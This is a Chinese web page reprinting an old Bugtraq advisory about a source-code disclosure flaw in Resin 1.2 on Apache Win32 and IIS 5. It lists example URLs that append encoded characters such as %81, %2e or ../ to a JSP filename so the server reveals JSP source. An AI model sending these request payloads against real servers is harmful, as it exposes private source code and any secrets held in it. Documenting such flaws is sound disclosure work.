当前位置: 首页 > 图文教程 > 网络编程 > JSP > Resin 1.2 重要源代码暴露漏洞

JSP
java/jsp中 中文问题详解
Java代码编写的一般性指导
如何成为一个优秀的jsp程序员
JSP开发入门(二)----JSP语法的基本原理
JSP开发入门(三)--JSP与JavaBean
JSP开发入门(四)--JSP的内部对象
JSP开发入门(五)--JSP其他相关资源
JSP开发入门(一)--安装好你的机器来使用JSP
页面自动刷新,不用按回车键来提交数据!
用连接池提高Servlet访问数据库的效率(2)
JDBCTM 指南:入门7-CallableStatement
JDBCTM 指南:入门3 - DriverManager
JDBCTM 指南:入门6-PreparedStatement
JDBCTM 指南:入门5 - ResultSet
JDBCTM 指南:入门4 - Statement
JDBCTM 指南:入门
JDBCTM 指南:入门2 - 连接
用连接池提高Servlet访问数据库的效率(1)
使用JavaBean创建您的网上日历本(1)
使用JavaBean创建您的网上日历本(2)

JSP 中的 Resin 1.2 重要源代码暴露漏洞


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-11-02   浏览: 81 ::
收藏到网摘: n/a

bugtraq id 1986
class Input Validation Error
cve GENERIC-MAP-NOMATCH
remote Yes
local Yes
published November 23, 2000
updated November 23, 2000
vulnerable Caucho Technology Resin 1.2
- Microsoft IIS 5.0
+ Microsoft Windows NT 2000
- Apache Group Apache 1.3.6win32

Apache (Win32):
..
%2e..
%81
%82
Example: http://target/filename.jsp%81

Resin Web Server:
../
Example: http://target/filename.jsp../


IIS 5 requesting the URL encoded with ASCII:
'%2' instead of '.'
Example: http://target/filename%2ejsp